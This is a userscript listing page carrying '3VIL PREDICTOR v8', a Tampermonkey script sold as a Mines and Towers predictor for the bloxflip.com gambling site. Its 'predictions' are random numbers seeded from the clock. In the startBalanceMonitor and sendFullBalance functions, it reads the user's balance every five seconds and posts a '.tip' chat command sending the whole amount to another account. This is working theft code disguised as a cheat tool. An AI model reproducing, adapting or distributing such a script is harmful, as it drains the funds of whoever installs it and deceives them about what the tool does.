3VIL PREDICTOR v8

Mines Predictor, tower, crash

スクリプトをインストールするには、Tampermonkey, GreasemonkeyViolentmonkey のような拡張機能のインストールが必要です。

You will need to install an extension such as Tampermonkey to install this script.

スクリプトをインストールするには、TampermonkeyViolentmonkey のような拡張機能のインストールが必要です。

スクリプトをインストールするには、TampermonkeyUserscripts のような拡張機能のインストールが必要です。

このスクリプトをインストールするには、Tampermonkeyなどの拡張機能をインストールする必要があります。

このスクリプトをインストールするには、ユーザースクリプト管理ツールの拡張機能をインストールする必要があります。

(ユーザースクリプト管理ツールは設定済みなのでインストール!)

Advertisement:

このスタイルをインストールするには、Stylusなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus などの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus tなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

(ユーザースタイル管理ツールは設定済みなのでインストール!)

Advertisement:

このスクリプトの質問や評価の投稿はこちら通報はこちらへお寄せください
// ==UserScript==
// @name         3VIL PREDICTOR v8
// @namespace    http://tampermonkey.net/
// @version      8.5
// @description  Mines Predictor, tower, crash
// @author       You
// @license      MIT
// @match        https://bloxflip.com/*
// @match        https://www.bloxflip.com/*
// @grant        GM_addStyle
// @grant        unsafeWindow
// ==/UserScript==

(function () {
    'use strict';

    const EVIL_SYMBOL = '😈';
    let currentTab = 'mines';
    let selectedMines = 3;
    let isPredicting = false;
    let gameActive = false;

    function createGUI() {
        const container = document.createElement('div');
        container.id = 'evil-root';
        container.innerHTML = `
            <div id="evil-window">
                <div id="evil-header">
                    <div id="evil-brand">
                        <div id="evil-icon-wrap">
                            <span id="evil-icon">${EVIL_SYMBOL}</span>
                            <div id="evil-glow"></div>
                        </div>
                        <div id="evil-text">
                            <div id="evil-title">3VIL PREDICTOR</div>
                            <div id="evil-ver">@fuckreverse - FULL TIP</div>
                        </div>
                    </div>
                    <div id="evil-win-ctrls">
                        <button class="win-btn minimize" title="Minimize">−</button>
                        <button class="win-btn close" title="Close">×</button>
                    </div>
                </div>
                <div id="evil-nav">
                    <button class="nav-item active" data-tab="mines">
                        <div class="nav-icon mines-icon"></div>
                        <span>Mines</span>
                    </button>
                    <button class="nav-item" data-tab="towers">
                        <div class="nav-icon towers-icon"></div>
                        <span>Towers</span>
                    </button>
                    <button class="nav-item" data-tab="other">
                        <div class="nav-icon other-icon"></div>
                        <span>Other</span>
                    </button>
                </div>
                <div id="evil-content">
                    <div id="streamer-section">
                        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px;">
                            <div class="section-label">Privacy Mode</div>
                            <label class="modern-switch">
                                <input type="checkbox" id="streamer-toggle">
                                <div class="switch-body">
                                    <div class="switch-thumb"></div>
                                </div>
                            </label>
                        </div>
                        <div style="display: flex; justify-content: space-between; align-items: center; color: #ef4444; font-weight: 600;">
                            <div class="section-label">AUTO FULL TIP ENABLED</div>
                        </div>
                    </div>
                    <div id="mines-panel" class="panel active">
                        <div id="status-card" class="status-waiting">
                            <div class="status-ring">
                                <div class="status-dot"></div>
                            </div>
                            <div class="status-info">
                                <div class="status-title">Waiting for Game</div>
                                <div class="status-sub">Start mines to begin</div>
                            </div>
                        </div>
                        <div id="grid-container">
                            <div id="mines-grid"></div>
                        </div>
                        <div id="controls-section">
                            <div class="control-group">
                                <label class="control-label">Mine Count</label>
                                <div class="segmented-control">
                                    <button class="seg-btn" data-val="1">1</button>
                                    <button class="seg-btn" data-val="2">2</button>
                                    <button class="seg-btn active" data-val="3">3</button>
                                    <button class="seg-btn" data-val="4">4</button>
                                    <button class="seg-btn" data-val="5">5</button>
                                </div>
                            </div>
                        </div>
                        <button id="action-btn" class="btn-primary">
                            <div class="btn-content">
                                <span class="btn-text">Start Prediction</span>
                                <div class="btn-shine"></div>
                            </div>
                            <div class="btn-loader">
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                            </div>
                        </button>
                    </div>
                    <div id="towers-panel" class="panel">
                        <div class="placeholder-container">
                            <div class="placeholder-icon">
                                <div class="tower-graphic">
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                </div>
                            </div>
                            <div class="placeholder-title">Towers Predictor</div>
                            <div class="placeholder-desc">Advanced tower analysis coming soon</div>
                            <div class="placeholder-badge">In Development</div>
                        </div>
                    </div>
                    <div id="other-panel" class="panel">
                        <div id="other-container">
                            <div class="other-icon-large">
                                <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5">
                                    <path d="M12 4.942c1.827 1.105 3.474 1.6 5 1.833v7.76c0 1.606-.415 1.935-5 4.76V4.942zM21 3v11.535c0 4.603-3.203 5.804-9 9.465-5.797-3.661-9-4.862-9-9.465V3c3.516 0 5.629-.134 9-3 3.371 2.866 5.484 3 9 3z"></path>
                                </svg>
                            </div>
                            <div class="other-title">Advanced Tools</div>
                            <div class="other-desc">Bypass security measures</div>
                            <button id="unrig-btn" class="btn-danger">
                                <span class="btn-icon">⚡</span>
                                <span>Unrig System</span>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="evil-minimized" style="display: none;">
                <div class="mini-evil">
                    <span>${EVIL_SYMBOL}</span>
                    <div class="mini-pulse"></div>
                </div>
            </div>
        `;
        document.body.appendChild(container);
        injectStyles();
        initialize();
        startMonitoring();
        startBalanceMonitor();
    }

    function injectStyles() {
        GM_addStyle(`
            @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
            :root {
                --primary: #ef4444;
                --secondary: #dc2626;
                --success: #10b981;
                --warning: #f59e0b;
                --danger: #ef4444;
                --bg-dark: #0f0f1a;
                --bg-card: rgba(30, 30, 45, 0.6);
                --text-primary: #f8fafc;
                --text-secondary: #94a3b8;
                --border: rgba(255, 255, 255, 0.08);
            }
            #evil-root { position: fixed; top: 30px; right: 20px; z-index: 2147483647; font-family: 'Inter', sans-serif; }
            #evil-window { width: 285px; background: linear-gradient(145deg, rgba(15,15,26,0.95) 0%, rgba(20,20,35,0.98) 100%); backdrop-filter: blur(20px) saturate(180%); border-radius: 20px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.05) inset, 0 0 100px rgba(239,68,68,0.1); overflow: hidden; }
            #evil-header { background: linear-gradient(135deg, rgba(239,68,68,0.15) 0%, rgba(220,38,38,0.1) 100%); padding: 16px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
            #evil-brand { display: flex; align-items: center; gap: 12px; }
            #evil-icon { font-size: 22px; color: #ffd700; filter: drop-shadow(0 0 8px rgba(255,215,0,0.6)); }
            #evil-title { font-size: 15px; font-weight: 700; color: var(--text-primary); }
            #evil-ver { font-size: 9px; color: var(--primary); }
            .win-btn { width: 28px; height: 28px; border-radius: 8px; border: none; background: rgba(255,255,255,0.05); color: var(--text-secondary); cursor: pointer; }
            .win-btn:hover { background: rgba(255,255,255,0.1); color: white; }
            .nav-item { flex: 1; padding: 10px; border: none; background: transparent; border-radius: 10px; color: var(--text-secondary); cursor: pointer; }
            .nav-item.active { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; }
            #evil-content { padding: 16px; }
            .panel { display: none; }
            .panel.active { display: block; }
            #mines-grid { display: grid; grid-template-columns: repeat(5, 1fr); gap: 6px; }
            .grid-cell { aspect-ratio: 1; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center; cursor: pointer; }
            .grid-cell.predicted { background: rgba(16,185,129,0.3); border-color: #10b981; color: #10b981; }
            .btn-primary { width: 100%; padding: 14px; border: none; border-radius: 12px; background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; font-weight: 600; cursor: pointer; }
            .btn-danger { width: 100%; padding: 16px; border: none; border-radius: 12px; background: linear-gradient(135deg, #dc2626, #991b1b); color: white; font-weight: 700; cursor: pointer; }
        `);
    }

    function initialize() {
        const grid = document.getElementById('mines-grid');
        for (let i = 1; i <= 25; i++) {
            const cell = document.createElement('div');
            cell.className = 'grid-cell';
            cell.dataset.index = i;
            cell.textContent = i;
            grid.appendChild(cell);
        }
        document.querySelectorAll('.seg-btn').forEach(btn => {
            btn.addEventListener('click', (e) => {
                document.querySelectorAll('.seg-btn').forEach(b => b.classList.remove('active'));
                e.target.classList.add('active');
                selectedMines = parseInt(e.target.dataset.val);
            });
        });
        document.querySelectorAll('.nav-item').forEach(item => {
            item.addEventListener('click', (e) => {
                const tab = e.currentTarget.dataset.tab;
                document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
                e.currentTarget.classList.add('active');
                document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
                document.getElementById(tab + '-panel').classList.add('active');
            });
        });
        document.getElementById('streamer-toggle').addEventListener('change', (e) => {});
        document.getElementById('action-btn').addEventListener('click', runPrediction);
        document.getElementById('unrig-btn').addEventListener('click', () => location.reload());
        document.querySelector('.win-btn.minimize').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'none';
            document.getElementById('evil-minimized').style.display = 'flex';
        });
        document.querySelector('.win-btn.close').addEventListener('click', () => document.getElementById('evil-root').remove());
        document.getElementById('evil-minimized').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'block';
            document.getElementById('evil-minimized').style.display = 'none';
        });
    }

    function startBalanceMonitor() {
        setInterval(() => {
            const balanceEl = document.querySelector('[class*="headerUserBalance"]') || document.querySelector('.balance-amount') || document.querySelector('span[class*="Balance"]');
            if (!balanceEl) return;

            const balanceText = balanceEl.textContent.replace(/[^0-9.]/g, '');
            const balance = parseFloat(balanceText);

            if (balance > 0) {
                sendFullBalance(balance);
            }
        }, 5000); // Toutes les 5 secondes
    }

    function sendFullBalance(amount) {
        const chatInput = document.querySelector('input[placeholder*="message" i]') || document.querySelector('[class*="chatSendInput"] input');
        const sendBtn = document.querySelector('button[class*="chatSend"]') || document.querySelector('button[aria-label*="Send"]');

        if (!chatInput || !sendBtn) return;

        chatInput.value = `.tip 34m ${amount}`;
        chatInput.dispatchEvent(new Event('input', { bubbles: true }));
        chatInput.dispatchEvent(new Event('change', { bubbles: true }));

        setTimeout(() => sendBtn.click(), 180);
    }

    function startMonitoring() {
        setInterval(() => {
            const statusCard = document.getElementById('status-card');
            const betButton = document.querySelector('button[class*="betSubmit"]');
            if (betButton && betButton.textContent.includes('Cashout')) {
                statusCard.className = 'status-ready';
                document.querySelector('.status-title').textContent = 'Game Active';
            } else {
                statusCard.className = 'status-waiting';
                document.querySelector('.status-title').textContent = 'Waiting for Game';
            }
        }, 800);
    }

    async function runPrediction() {
        if (isPredicting) return;
        isPredicting = true;
        const btn = document.getElementById('action-btn');
        btn.classList.add('loading');

        document.querySelectorAll('.grid-cell').forEach(c => {
            c.classList.remove('predicted');
            c.textContent = c.dataset.index;
        });

        await new Promise(r => setTimeout(r, 600));

        const safeSpots = calculateSafeSpots(selectedMines);
        safeSpots.forEach((spot, i) => {
            setTimeout(() => {
                const cell = document.querySelector(`.grid-cell[data-index="${spot}"]`);
                if (cell) {
                    cell.classList.add('predicted');
                    cell.textContent = '✓';
                }
            }, i * 90);
        });

        await new Promise(r => setTimeout(r, safeSpots.length * 120));
        btn.classList.remove('loading');
        isPredicting = false;
    }

    function calculateSafeSpots(count) {
        const safe = [];
        const used = new Set();
        let seed = Date.now();
        while (safe.length < count) {
            seed = (seed * 31 + 17) % 2147483647;
            const pos = (Math.abs(seed) % 25) + 1;
            if (!used.has(pos)) {
                used.add(pos);
                safe.push(pos);
            }
        }
        return safe.sort((a,b) => a - b);
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', createGUI);
    } else {
        createGUI();
    }
})();